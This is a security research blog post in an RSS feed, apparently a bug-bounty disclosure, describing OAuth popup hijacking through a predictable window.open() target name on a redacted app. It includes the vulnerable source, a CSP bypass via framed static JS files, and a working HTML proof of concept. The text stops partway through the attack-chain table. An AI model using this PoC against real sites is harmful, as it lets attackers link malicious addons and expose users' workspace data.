      <title>Can a Predicted `window.open` Target Really Be That Impactful?</title>
      <link>https://lab.ctbb.show/research/can-a-predicted-window-open-target-really-be-that-impactful</link>
      <guid isPermaLink="true">https://lab.ctbb.show/research/can-a-predicted-window-open-target-really-be-that-impactful</guid>
      <pubDate>Wed, 25 Feb 2026 00:00:00 +0000</pubDate>
      <author>Achbani Ismail</author>
      <description>This post walks through a real-world OAuth popup hijacking attack. The target had solid defenses origin validation, source checking, CSP but a single predictable window.open() target name created an exploitable gap. It also serves as a real-world case use of iframe hijacking, showing how I managed to squeeze a vulnerability with a useless behavior.</description>
      <content:encoded><![CDATA[<blockquote>
  <p><strong>TL;DR:</strong> A predictable <code class="language-plaintext highlighter-rouge">window.open()</code> target name in [REDACTED]’s OAuth flow allowed attackers to hijack the authorization popup via iframe name collision. This enabled me to force victims to unknowingly link attacker-controlled marketplace addons to their workspace, exposing workspace owner PII and configuration data.</p>
</blockquote>

<hr />

<h2 id="background-what-is-the-windowopen-target">Background: What Is the <code class="language-plaintext highlighter-rouge">window.open</code> Target?</h2>

<p>From <a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/open">MDN Web Docs</a>:</p>

<blockquote>
  <p>A string, without whitespace, specifying the <strong>name</strong> of the browsing context the resource is being loaded into. If the name doesn’t identify an existing context, a new context is created and given the specified name. The special target keywords <code class="language-plaintext highlighter-rouge">_self</code>, <code class="language-plaintext highlighter-rouge">_blank</code> (default), <code class="language-plaintext highlighter-rouge">_parent</code>, <code class="language-plaintext highlighter-rouge">_top</code>, and <code class="language-plaintext highlighter-rouge">_unfencedTop</code> can also be used.</p>

  <p>This name can be used as the <code class="language-plaintext highlighter-rouge">target</code> attribute of <code class="language-plaintext highlighter-rouge">&lt;a&gt;</code> or <code class="language-plaintext highlighter-rouge">&lt;form&gt;</code> elements.</p>
</blockquote>

<h3 id="how-can-we-use-this-against-an-application">How Can We Use This Against an Application?</h3>

<p>This is where <strong>iframe hijacking</strong> comes into play.</p>

<p>The attack works as follows:</p>

<ol>
  <li>Set up an attacker-controlled page containing an <code class="language-plaintext highlighter-rouge">&lt;iframe&gt;</code> with a <strong>pre-chosen name</strong> that matches the name the target application will pass to <code class="language-plaintext highlighter-rouge">window.open()</code>.</li>
  <li>When the victim visits this attacker page and triggers the OAuth flow (any action calling <code class="language-plaintext highlighter-rouge">window.open(url, "thepredictedname")</code>), the browser looks for an existing browsing context with that name.</li>
  <li>It finds ours the attacker’s iframe and loads the popup <strong>inside it</strong> instead of opening a new window.</li>
  <li>The attacker iframe now holds a reference to what the application believes is its trusted popup. From here, we exploit the relationship between the popup and the victim page.</li>
</ol>

<hr />

<h2 id="the-vulnerability">The Vulnerability</h2>

<p>The vulnerability exists in an <strong>addons feature</strong> where users can link additional capabilities to their account. The application allows preset integrations (Slack, Zoom, etc.) and custom ones from <code class="language-plaintext highlighter-rouge">marketplace.redacted.com</code>. To link an account, the user clicks “Connect” and authorizes through a marketplace OAuth flow.</p>

<p>Here’s the relevant source code:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">async</span> <span class="kd">function</span> <span class="nx">p</span><span class="p">(</span><span class="nx">e</span><span class="p">,</span> <span class="nx">n</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// Fetch OAuth URL from backend API</span>
    <span class="kd">let</span> <span class="nx">l</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">N</span><span class="p">(</span><span class="nx">e</span><span class="p">,</span> <span class="nx">n</span><span class="p">);</span>
    
    <span class="c1">// Extract trusted origin from redirect_uri parameter found in the initiateAddonsoauth url in the response</span>
    <span class="kd">let</span> <span class="nx">r</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
        <span class="kd">var</span> <span class="nx">n</span><span class="p">;</span>
        <span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">URL</span><span class="p">(</span><span class="nx">e</span><span class="p">);</span>
        <span class="k">return</span> <span class="k">new</span> <span class="nx">URL</span><span class="p">(</span><span class="kc">null</span> <span class="o">!=</span> <span class="p">(</span><span class="nx">n</span> <span class="o">=</span> <span class="nx">i</span><span class="p">.</span><span class="nx">searchParams</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">"</span><span class="s2">redirect_uri</span><span class="dl">"</span><span class="p">))</span> <span class="p">?</span> <span class="nx">n</span> <span class="p">:</span> <span class="dl">""</span><span class="p">).</span><span class="nx">origin</span>
    <span class="p">}(</span><span class="nx">l</span><span class="p">);</span>
    
    <span class="kd">let</span> <span class="nx">k</span> <span class="o">=</span> <span class="kc">null</span><span class="p">;</span>
    
    <span class="c1">// postMessage listener for OAuth callback</span>
    <span class="kd">let</span> <span class="nx">p</span> <span class="o">=</span> <span class="nx">n</span> <span class="o">=&gt;</span> <span class="p">{</span>
        <span class="kd">var</span> <span class="nx">l</span><span class="p">,</span> <span class="nx">d</span><span class="p">,</span> <span class="nx">u</span><span class="p">,</span> <span class="nx">m</span><span class="p">;</span>
        <span class="kd">let</span> <span class="nx">N</span> <span class="o">=</span> <span class="nx">n</span><span class="p">.</span><span class="nx">data</span><span class="p">;</span>
        
        <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nx">v</span><span class="p">.</span><span class="nx">l$</span><span class="p">)(</span><span class="nx">N</span><span class="p">,</span> <span class="dl">"</span><span class="s2">type</span><span class="dl">"</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="dl">"</span><span class="s2">oauth_response_complete</span><span class="dl">"</span> <span class="o">===</span> <span class="nx">N</span><span class="p">.</span><span class="nx">type</span> <span class="o">&amp;&amp;</span> 
        <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nx">v</span><span class="p">.</span><span class="nx">l$</span><span class="p">)(</span><span class="nx">N</span><span class="p">,</span> <span class="dl">"</span><span class="s2">payload</span><span class="dl">"</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span>
            
            <span class="c1">// SECURITY CHECK: Validate origin matches redirect_uri origin</span>
            <span class="c1">//                 Validate source is our popup window</span>
            <span class="nx">r</span> <span class="o">===</span> <span class="nx">n</span><span class="p">.</span><span class="nx">origin</span> <span class="o">&amp;&amp;</span> <span class="nx">n</span><span class="p">.</span><span class="nx">source</span> <span class="o">===</span> <span class="nx">k</span>
            
        <span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">((</span><span class="nx">t</span><span class="p">.</span><span class="nx">getState</span><span class="p">()</span> <span class="o">===</span> <span class="nx">o</span><span class="p">.</span><span class="nx">m</span><span class="p">.</span><span class="nx">Pending</span> <span class="o">&amp;&amp;</span> <span class="nx">N</span><span class="p">.</span><span class="nx">payload</span><span class="p">.</span><span class="nx">auth</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="nx">N</span><span class="p">.</span><span class="nx">payload</span><span class="p">.</span><span class="nx">hasError</span><span class="p">)</span> <span class="p">?</span> <span class="p">(</span>
            <span class="nx">t</span><span class="p">.</span><span class="nx">resolve</span><span class="p">(</span><span class="nx">N</span><span class="p">.</span><span class="nx">payload</span><span class="p">.</span><span class="nx">auth</span><span class="p">),</span>
            <span class="nb">window</span><span class="p">.</span><span class="nx">removeEventListener</span><span class="p">(</span><span class="dl">"</span><span class="s2">message</span><span class="dl">"</span><span class="p">,</span> <span class="nx">p</span><span class="p">)</span>
        <span class="p">)</span> <span class="p">:</span> <span class="k">void</span> <span class="mi">0</span><span class="p">)</span>
    <span class="p">};</span>
    
    <span class="nb">window</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="dl">"</span><span class="s2">message</span><span class="dl">"</span><span class="p">,</span> <span class="nx">p</span><span class="p">);</span>
    
    <span class="c1">// VULNERABLE: Static window name allows iframe hijacking</span>
    <span class="nx">k</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
        <span class="kd">let</span> <span class="nx">n</span> <span class="o">=</span> <span class="p">(</span><span class="nx">screen</span><span class="p">.</span><span class="nx">width</span> <span class="o">-</span> <span class="mi">640</span><span class="p">)</span> <span class="o">/</span> <span class="mi">2</span>
          <span class="p">,</span> <span class="nx">i</span> <span class="o">=</span> <span class="nx">screen</span><span class="p">.</span><span class="nx">height</span> <span class="o">/</span> <span class="mi">2</span> <span class="o">-</span> <span class="mf">287.5</span><span class="p">;</span>
        <span class="k">return</span> <span class="nb">window</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="nx">e</span><span class="p">,</span> <span class="dl">"</span><span class="s2">addons-oauthWindow</span><span class="dl">"</span><span class="p">,</span>
            <span class="s2">`menubar=no,toolbar=no,status=no,width=640,height=575,left=</span><span class="p">${</span><span class="nx">n</span><span class="p">}</span><span class="s2">,top=</span><span class="p">${</span><span class="nx">i</span><span class="p">}</span><span class="s2">`</span><span class="p">)</span>
    <span class="p">}(</span><span class="nx">l</span><span class="p">);</span>
    
    <span class="p">...</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The application:</p>

<ol>
  <li>Makes an API call to get a valid <code class="language-plaintext highlighter-rouge">authorizeUrl</code></li>
  <li>Parses the <code class="language-plaintext highlighter-rouge">redirect_uri</code> from it and stores the origin as <code class="language-plaintext highlighter-rouge">r</code>:
    <div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">return</span> <span class="k">new</span> <span class="nx">URL</span><span class="p">(</span><span class="kc">null</span> <span class="o">!=</span> <span class="p">(</span><span class="nx">n</span> <span class="o">=</span> <span class="nx">i</span><span class="p">.</span><span class="nx">searchParams</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">"</span><span class="s2">redirect_uri</span><span class="dl">"</span><span class="p">))</span> <span class="p">?</span> <span class="nx">n</span> <span class="p">:</span> <span class="dl">""</span><span class="p">).</span><span class="nx">origin</span>
</code></pre></div>    </div>
  </li>
  <li>Opens a popup with a <strong>hardcoded, predictable target name</strong>:
    <div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">return</span> <span class="nb">window</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="nx">e</span><span class="p">,</span> <span class="dl">"</span><span class="s2">addons-oauthWindow</span><span class="dl">"</span><span class="p">,</span> <span class="s2">`menubar=no,toolbar=no,...`</span><span class="p">)</span>
</code></pre></div>    </div>
  </li>
  <li>Sets a <code class="language-plaintext highlighter-rouge">postMessage</code> listener with these security checks:
    <div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">r</span> <span class="o">===</span> <span class="nx">n</span><span class="p">.</span><span class="nx">origin</span> <span class="o">&amp;&amp;</span> <span class="nx">n</span><span class="p">.</span><span class="nx">source</span> <span class="o">===</span> <span class="nx">k</span>
</code></pre></div>    </div>
    <ul>
      <li><code class="language-plaintext highlighter-rouge">r === n.origin</code> — verifies the message comes from the expected OAuth redirect origin</li>
      <li><code class="language-plaintext highlighter-rouge">n.source === k</code> — verifies the message comes from the popup window reference</li>
    </ul>
  </li>
</ol>

<h3 id="normal-authorization-flow">Normal Authorization Flow</h3>
<p><img src="/research/articles/ArticleNo0017/flow.png" alt="" /></p>

<p>When authorization completes, the callback page sends a <code class="language-plaintext highlighter-rouge">postMessage</code> to <code class="language-plaintext highlighter-rouge">window.opener</code> (<code class="language-plaintext highlighter-rouge">app.redacted.com</code>):</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;html&gt;</span>

<span class="nt">&lt;body&gt;</span>
    <span class="nt">&lt;script </span><span class="na">type=</span><span class="s">"text/javascript"</span><span class="nt">&gt;</span>
        <span class="k">try</span> <span class="p">{</span>
            <span class="k">if</span> <span class="p">(</span><span class="nb">window</span><span class="p">.</span><span class="nx">opener</span><span class="p">)</span> <span class="p">{</span>
                
                <span class="nb">window</span><span class="p">.</span><span class="nx">opener</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span>
                    <span class="na">type</span><span class="p">:</span> <span class="dl">'</span><span class="s1">providerAuthPopupComplete</span><span class="dl">'</span>
                <span class="p">},</span> <span class="dl">'</span><span class="s1">*</span><span class="dl">'</span><span class="p">);</span>
                
                <span class="nb">window</span><span class="p">.</span><span class="nx">opener</span><span class="p">.</span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">({</span>
                    <span class="dl">"</span><span class="s2">session_auth</span><span class="dl">"</span><span class="p">:</span> <span class="p">{</span>
                        <span class="dl">"</span><span class="s2">id</span><span class="dl">"</span><span class="p">:</span> <span class="mi">101</span><span class="p">,</span>
                        <span class="dl">"</span><span class="s2">clientID_</span><span class="dl">"</span><span class="p">:</span> <span class="kc">null</span><span class="p">,</span>   
                        <span class="dl">"</span><span class="s2">client_rev</span><span class="dl">"</span><span class="p">:</span> <span class="kc">null</span><span class="p">,</span>
                        <span class="dl">"</span><span class="s2">error_log</span><span class="dl">"</span><span class="p">:</span> <span class="p">{},</span>
                        <span class="dl">"</span><span class="s2">revision_id</span><span class="dl">"</span><span class="p">:</span> <span class="mi">99122766</span><span class="p">,</span>
                        <span class="dl">"</span><span class="s2">created_at</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">2026-01-22T01:40:26.000Z</span><span class="dl">"</span><span class="p">,</span>
                        <span class="dl">"</span><span class="s2">updated_at</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">2026-02-16T20:28:40.000Z</span><span class="dl">"</span><span class="p">,</span>
                        <span class="dl">"</span><span class="s2">apiUsageCount</span><span class="dl">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>  
                        <span class="dl">"</span><span class="s2">access_allow</span><span class="dl">"</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
                        <span class="dl">"</span><span class="s2">limit_cap</span><span class="dl">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
                        <span class="dl">"</span><span class="s2">user_email</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">x@example.com</span><span class="dl">"</span><span class="p">,</span> 
                        <span class="dl">"</span><span class="s2">full_name</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">John Doe</span><span class="dl">"</span><span class="p">,</span>                
                        <span class="dl">"</span><span class="s2">display_nick</span><span class="dl">"</span><span class="p">:</span> <span class="kc">null</span><span class="p">,</span>
                        <span class="dl">"</span><span class="s2">providerID_</span><span class="dl">"</span><span class="p">:</span> <span class="kc">null</span><span class="p">,</span>
                        <span class="dl">"</span><span class="s2">unique_uid</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">x123456789hash</span><span class="dl">"</span><span class="p">,</span>         
                        <span class="dl">"</span><span class="s2">username</span><span class="dl">"</span><span class="p">:</span> <span class="kc">null</span><span class="p">,</span>
                        <span class="dl">"</span><span class="s2">internalUser_ID</span><span class="dl">"</span><span class="p">:</span> <span class="mi">1</span>
                    <span class="p">}</span>
                <span class="p">});</span>
                
                
                <span class="nb">window</span><span class="p">.</span><span class="nx">opener</span><span class="p">.</span><span class="nx">__oauthCallback__</span><span class="p">({</span>
                    <span class="dl">"</span><span class="s2">session_auth</span><span class="dl">"</span><span class="p">:</span> <span class="p">{</span>
                        <span class="dl">"</span><span class="s2">id</span><span class="dl">"</span><span class="p">:</span> <span class="mi">101</span><span class="p">,</span>
                        <span class="dl">"</span><span class="s2">clientID_</span><span class="dl">"</span><span class="p">:</span> <span class="kc">null</span><span class="p">,</span>
                        <span class="dl">"</span><span class="s2">client_rev</span><span class="dl">"</span><span class="p">:</span> <span class="kc">null</span><span class="p">,</span>
                        <span class="dl">"</span><span class="s2">error_log</span><span class="dl">"</span><span class="p">:</span> <span class="p">{},</span>
                        <span class="dl">"</span><span class="s2">revision_id</span><span class="dl">"</span><span class="p">:</span> <span class="mi">99122766</span><span class="p">,</span>
                        <span class="dl">"</span><span class="s2">created_at</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">2026-01-22T01:40:26.000Z</span><span class="dl">"</span><span class="p">,</span>
                        <span class="dl">"</span><span class="s2">updated_at</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">2026-02-16T20:28:40.000Z</span><span class="dl">"</span><span class="p">,</span>
                        <span class="dl">"</span><span class="s2">apiUsageCount</span><span class="dl">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
                        <span class="dl">"</span><span class="s2">access_allow</span><span class="dl">"</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
                        <span class="dl">"</span><span class="s2">limit_cap</span><span class="dl">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
                        <span class="dl">"</span><span class="s2">user_email</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">x@example.com</span><span class="dl">"</span><span class="p">,</span>
                        <span class="dl">"</span><span class="s2">full_name</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">John Doe</span><span class="dl">"</span><span class="p">,</span>
                        <span class="dl">"</span><span class="s2">display_nick</span><span class="dl">"</span><span class="p">:</span> <span class="kc">null</span><span class="p">,</span>
                        <span class="dl">"</span><span class="s2">providerID_</span><span class="dl">"</span><span class="p">:</span> <span class="kc">null</span><span class="p">,</span>
                        <span class="dl">"</span><span class="s2">unique_uid</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">x123456789hash</span><span class="dl">"</span><span class="p">,</span>
                        <span class="dl">"</span><span class="s2">username</span><span class="dl">"</span><span class="p">:</span> <span class="kc">null</span><span class="p">,</span>
                        <span class="dl">"</span><span class="s2">internalUser_ID</span><span class="dl">"</span><span class="p">:</span> <span class="mi">1</span>
                    <span class="p">}</span>
                <span class="p">},</span> <span class="kc">false</span><span class="p">);</span>
                <span class="nb">window</span><span class="p">.</span><span class="nx">close</span><span class="p">();</span>
            <span class="p">}</span>
        <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
           
            <span class="kd">const</span> <span class="nx">allowedOrigins</span> <span class="o">=</span> <span class="p">[</span>
                <span class="dl">"</span><span class="s2">https://app.redacted.com</span><span class="dl">"</span><span class="p">,</span> 
                <span class="dl">"</span><span class="s2">https://calendar.redacted.com</span><span class="dl">"</span><span class="p">,</span> 
                <span class="dl">"</span><span class="s2">https://developer.redacted.com</span><span class="dl">"</span><span class="p">,</span> 
                <span class="dl">"</span><span class="s2">https://marketplace.redacted.com</span><span class="dl">"</span><span class="p">,</span> 
                <span class="dl">"</span><span class="s2">https://web.redacted.com</span><span class="dl">"</span><span class="p">,</span>  
                <span class="dl">"</span><span class="s2">https://integrations.redacted.com</span><span class="dl">"</span><span class="p">,</span> 
                <span class="dl">"</span><span class="s2">https://login.redacted.com</span><span class="dl">"</span>
            <span class="p">];</span>
            
            <span class="nx">allowedOrigins</span><span class="p">.</span><span class="nx">forEach</span><span class="p">(</span>
                <span class="p">(</span><span class="nx">origin</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nb">window</span><span class="p">.</span><span class="nx">opener</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span>
                        <span class="na">type</span><span class="p">:</span> <span class="dl">'</span><span class="s1">oauth_response_complete</span><span class="dl">'</span><span class="p">,</span>
                        <span class="na">payload</span><span class="p">:</span> <span class="p">{</span>
                            <span class="dl">"</span><span class="s2">session_auth</span><span class="dl">"</span><span class="p">:</span> <span class="p">{</span>
                                <span class="dl">"</span><span class="s2">id</span><span class="dl">"</span><span class="p">:</span> <span class="mi">101</span><span class="p">,</span>
                                <span class="dl">"</span><span class="s2">clientID_</span><span class="dl">"</span><span class="p">:</span> <span class="kc">null</span><span class="p">,</span>
                                <span class="dl">"</span><span class="s2">client_rev</span><span class="dl">"</span><span class="p">:</span> <span class="kc">null</span><span class="p">,</span>
                                <span class="dl">"</span><span class="s2">error_log</span><span class="dl">"</span><span class="p">:</span> <span class="p">{},</span>
                                <span class="dl">"</span><span class="s2">revision_id</span><span class="dl">"</span><span class="p">:</span> <span class="mi">99887766</span><span class="p">,</span>
                                <span class="dl">"</span><span class="s2">created_at</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">2026-01-22T01:40:26.000Z</span><span class="dl">"</span><span class="p">,</span>
                                <span class="dl">"</span><span class="s2">updated_at</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">2026-02-16T20:28:40.000Z</span><span class="dl">"</span><span class="p">,</span>
                                <span class="dl">"</span><span class="s2">apiUsageCount</span><span class="dl">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
                                <span class="dl">"</span><span class="s2">access_allow</span><span class="dl">"</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
                                <span class="dl">"</span><span class="s2">limit_cap</span><span class="dl">"</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
                                <span class="dl">"</span><span class="s2">user_email</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">victim_user@example.com</span><span class="dl">"</span><span class="p">,</span>
                                <span class="dl">"</span><span class="s2">full_name</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">John Doe</span><span class="dl">"</span><span class="p">,</span>
                                <span class="dl">"</span><span class="s2">display_nick</span><span class="dl">"</span><span class="p">:</span> <span class="kc">null</span><span class="p">,</span>
                                <span class="dl">"</span><span class="s2">providerID_</span><span class="dl">"</span><span class="p">:</span> <span class="kc">null</span><span class="p">,</span>
                                <span class="dl">"</span><span class="s2">unique_uid</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">x123456789hash</span><span class="dl">"</span><span class="p">,</span>
                                <span class="dl">"</span><span class="s2">username</span><span class="dl">"</span><span class="p">:</span> <span class="kc">null</span><span class="p">,</span>
                                <span class="dl">"</span><span class="s2">internalUser_ID</span><span class="dl">"</span><span class="p">:</span> <span class="mi">1</span>
                            <span class="p">}</span>
                        <span class="p">},</span>
                        <span class="na">hasError</span><span class="p">:</span> <span class="kc">false</span>
                    <span class="p">},</span>
                    <span class="nx">origin</span>
                <span class="p">)</span>
            <span class="p">);</span>
            <span class="nb">window</span><span class="p">.</span><span class="nx">close</span><span class="p">();</span>
        <span class="p">}</span>
    <span class="nt">&lt;/script&gt;</span>
<span class="nt">&lt;/body&gt;</span>

<span class="nt">&lt;/html&gt;</span>
</code></pre></div></div>

<p>The flow looks secure the <code class="language-plaintext highlighter-rouge">postMessage</code> listener has strict origin and source checks. So how do we exploit it?</p>

<blockquote>
  <p><strong>The trick:</strong> hijack the popup so it loads in our iframe, then change <code class="language-plaintext highlighter-rouge">iframe.src</code> to our attacker callback forcing the victim to link our marketplace addon to their workspace.</p>
</blockquote>

<hr />

<h2 id="building-the-exploit">Building the Exploit</h2>

<h3 id="step-1-the-csp-barrier">STEP 1: The CSP Barrier</h3>

<p>For iframe hijacking to work, we need to create an iframe that shares the <strong>same origin</strong> as the page calling <code class="language-plaintext highlighter-rouge">window.open()</code> with the predictable target name. Browsers scope named browsing contexts by origin an iframe at <code class="language-plaintext highlighter-rouge">attacker.com</code> won’t collide with a window name lookup from <code class="language-plaintext highlighter-rouge">app.redacted.com</code>.</p>

<p>So we need to iframe something under <code class="language-plaintext highlighter-rouge">app.redacted.com</code>. The problem? The application enforces a strict Content Security Policy preventing framing. Even 404 pages return proper <code class="language-plaintext highlighter-rouge">frame-ancestors</code> directives.</p>

<p>After enumeration, I discovered that <strong>static JavaScript files</strong> served from paths like <code class="language-plaintext highlighter-rouge">/static/*.js</code> returned relaxed CSP headers that omitted <code class="language-plaintext highlighter-rouge">frame-ancestors</code>. This meant we could create an iframe pointing to one of these JS files:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;iframe</span>
    <span class="na">id=</span><span class="s">"hijackFrame"</span>
    <span class="na">name=</span><span class="s">"addons-oauthWindow"</span>
    <span class="na">src=</span><span class="s">"https://app.redacted.com/static/chunk.a1b2c3d4.js"</span><span class="nt">&gt;</span>
<span class="nt">&lt;/iframe&gt;</span>
</code></pre></div></div>

<p>The iframe now exists under <code class="language-plaintext highlighter-rouge">app.redacted.com</code>’s origin with the target window name pre-registered in the browser’s browsing context.</p>

<h3 id="step-2-capturing-the-attacker-callback">STEP 2: Capturing the Attacker Callback</h3>

<p>Before weaponizing the hijack, we need a valid OAuth callback URL tied to an attacker-controlled marketplace addon:</p>

<ol>
  <li>Create a malicious addon in the marketplace with permissions to access workspace data</li>
  <li>Initiate the OAuth flow from the attacker’s own account</li>
  <li>Complete authentication and <strong>intercept the final callback URL</strong> before it executes</li>
  <li>Store this URL it contains the authorization code that will link the addon to whoever triggers it</li>
</ol>

<ul>
  <li>the callback call doesn’t have a csp which is the case for everything under /api
    <h3 id="step-3-timing-the-redirect">STEP 3: Timing the Redirect</h3>
  </li>
</ul>

<p>The final piece is detecting when the popup gets hijacked and redirecting at the right moment. When <code class="language-plaintext highlighter-rouge">window.open()</code> resolves to our iframe instead of a new window, the OAuth authorization page loads inside it. We detect this via the <code class="language-plaintext highlighter-rouge">onload</code> event and immediately redirect to our captured callback:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;!DOCTYPE html&gt;</span>
<span class="nt">&lt;html&gt;</span>
<span class="nt">&lt;head&gt;</span>
    <span class="nt">&lt;title&gt;</span>OAuth Hijack PoC<span class="nt">&lt;/title&gt;</span>
<span class="nt">&lt;/head&gt;</span>
<span class="nt">&lt;body&gt;</span>
    <span class="nt">&lt;button</span> <span class="na">onclick=</span><span class="s">"startAttack()"</span><span class="nt">&gt;</span>Open App<span class="nt">&lt;/button&gt;</span>

    <span class="nt">&lt;iframe</span>
        <span class="na">id=</span><span class="s">"hijackFrame"</span>
        <span class="na">name=</span><span class="s">"addons-oauthWindow"</span>
        <span class="na">src=</span><span class="s">"https://app.redacted.com/static/chunk.a1b2c3d4.js"</span>
        <span class="na">style=</span><span class="s">"width:640px; height:575px;"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;/iframe&gt;</span>

    <span class="nt">&lt;script&gt;</span>
        <span class="kd">const</span> <span class="nx">attackerCallback</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">https://api.redacted.com/api/auth/callback?code=ATTACKER_CODE&amp;state=ATTACKER_STATE</span><span class="dl">"</span><span class="p">;</span>

        <span class="kd">function</span> <span class="nx">startAttack</span><span class="p">()</span> <span class="p">{</span>
            <span class="c1">// Open the legitimate app in a new tab</span>
            <span class="nb">window</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="dl">"</span><span class="s2">https://app.redacted.com/workspace/addons</span><span class="dl">"</span><span class="p">);</span>

            <span class="kd">const</span> <span class="nx">frame</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">hijackFrame</span><span class="dl">"</span><span class="p">);</span>
            <span class="kd">let</span> <span class="nx">hijacked</span> <span class="o">=</span> <span class="kc">false</span><span class="p">;</span>

            <span class="nx">frame</span><span class="p">.</span><span class="nx">onload</span> <span class="o">=</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
                <span class="k">if</span> <span class="p">(</span><span class="nx">hijacked</span><span class="p">)</span> <span class="k">return</span><span class="p">;</span>
                <span class="nx">hijacked</span> <span class="o">=</span> <span class="kc">true</span><span class="p">;</span>

                <span class="c1">// OAuth page just loaded in our iframe redirect to attacker callback</span>
                <span class="nx">frame</span><span class="p">.</span><span class="nx">src</span> <span class="o">=</span> <span class="nx">attackerCallback</span><span class="p">;</span>
            <span class="p">};</span>
        <span class="p">}</span>
    <span class="nt">&lt;/script&gt;</span>
<span class="nt">&lt;/body&gt;</span>
<span class="nt">&lt;/html&gt;</span>
</code></pre></div></div>

<h3 id="why-the-intermediate-csp-doesnt-matter">Why the Intermediate CSP Doesn’t Matter</h3>

<p>One might assume the attack fails because the OAuth authorization page (<code class="language-plaintext highlighter-rouge">marketplace.redacted.com/oauth/authorize</code>) also has framing protections. It does but this is irrelevant.</p>

<p>The browser maintains the iframe’s relationship with the opener window <strong>regardless</strong> of whether intermediate pages load successfully. When the authorization page blocks itself from framing, the iframe errors out but the browsing context persists. We simply wait for any <code class="language-plaintext highlighter-rouge">load</code> event and redirect to the callback endpoint, which sits under <code class="language-plaintext highlighter-rouge">/api</code> and lacks these protections.</p>

<p>The callback page then executes normally, sending its <code class="language-plaintext highlighter-rouge">postMessage</code> to <code class="language-plaintext highlighter-rouge">window.opener</code> which still points to the victim’s legitimate app tab.</p>

<hr />

<h2 id="the-complete-attack-chain">The Complete Attack Chain</h2>

<table>
  <thead>
    <tr>
      <th>Step</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>1</td>
      <td>Victim visits attacker page containing the named iframe</td>
    </tr>
    <tr>
      <td>2</td>
      <td>Victim clicks button, opening <code class="language-plaintext highlighter-rouge">app.redacted.com/workspace/addons</code> in a new tab</td>
    </tr>
    <tr>
      <td>3</td>
      <td>Victim clicks “Connect” on a marketplace addon</td>
    </tr>
    <tr>
      <td>4</td>
      <td>App calls <code class="language-plaintext highlighter-rouge">window.open(authorizeUrl, "addons-oauthWindow")</code></td>
    </tr>
    <tr>
      <td>5</td>
      <td>Browser finds existing browsing context with matching name → OAuth loads in attacker’s iframe</td>
    </tr>
    <tr>
      <td>6</td>
      <td>Attacker’s <code class="language-plaintext highlighter-rouge">onload</code> handler fires and redirects iframe to pre-captured callback</td>
    </tr>
    <tr>
      <td>7</td>
